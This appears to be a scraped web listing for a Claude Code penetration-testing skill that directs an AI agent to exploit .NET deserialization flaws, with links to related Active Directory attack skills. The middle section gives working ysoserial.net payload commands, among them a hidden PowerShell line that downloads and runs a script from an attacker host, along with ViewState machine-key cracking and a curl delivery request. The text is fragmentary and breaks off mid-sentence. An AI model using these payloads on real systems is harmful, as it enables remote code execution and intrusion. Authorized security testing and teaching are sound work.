acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit .NET deserialization vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill deserialization-dotnet --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/deserialization-dotnetContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit .NET deserialization vulnerabilities during authorized penetration testing.
name: deserialization-dotnet description: > Exploit .NET deserialization vulnerabilities during authorized penetration testing. keywords: - .net deserialization - ysoserial.net - dotnet deserialization - BinaryFormatter exploit - ViewState exploit - ViewState RCE - machine key exploit - JSON.NET deserialization - TypeNameHandling exploit - ObjectDataProvider - TypeConfuseDelegate - .NET Remoting exploit - LosFormatter - SoapFormatter - SharePoint deserialization - Sitecore deserialization tools: - ysoserial.net - blacklist3r - burpsuite opsec: medium
You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
cookie, WCF)
`Blacklist3r` or `BadSecrets` (Python) for machine key checks
If not already provided, determine:
1. **Serialization format** — look for these signatures:
| Signature | Format | Where Found | |-----------|--------|-------------| | `AAEAAAD` (base64) | BinaryFormatter | Parameters, cookies, ViewState | | `/w` (base64 prefix) | .NET ViewState | `__VIEWSTATE` parameter | | `$type` field in JSON | JSON.NET (Newtonsoft) | API request/response bodies | | SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |
2. **Entry point type**:
3. **Formatter in use** — determines which gadgets work:
| Formatter | Risk | Gadgets | |-----------|------|---------| | BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet | | LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties | | ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject | | SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector | | NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider | | JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity | | DataContractSerializer | Medium | ObjectDataProvider (if type controlled) | | XmlSerializer | Medium | Limited (requires type control) |
Skip if context was already provided.
The most common .NET deserialization vector. ASP.NET serializes page state into `__VIEWSTATE`, signed and optionally encrypted with machine keys.
# Blacklist3r — checks against 3000+ published machine keys Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE" # BadSecrets (Python — cross-platform) pip install badsecrets python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"
**Machine key sources:**
# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
-c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
-c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64
# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
--validationkey="VALIDATION_KEY_HEX" \
--decryptionkey="DECRYPTION_KEY_HEX" \
--generator="__VIEWSTATEGENERATOR" \
--validationalg="SHA1" \
--decryptionalg="AES" \
-c "cmd /c whoami"<!-- web.config --> <machineKey validationKey="64_HEX_CHARS" decryptionKey="32_HEX_CHARS" validation="SHA1" decryption="AES" />
# POST to the target page with crafted __VIEWSTATE curl -X POST https://TARGET/page.aspx \ -d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"
When JSON.NET (Newtonsoft.Json) is configured with `TypeNam
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…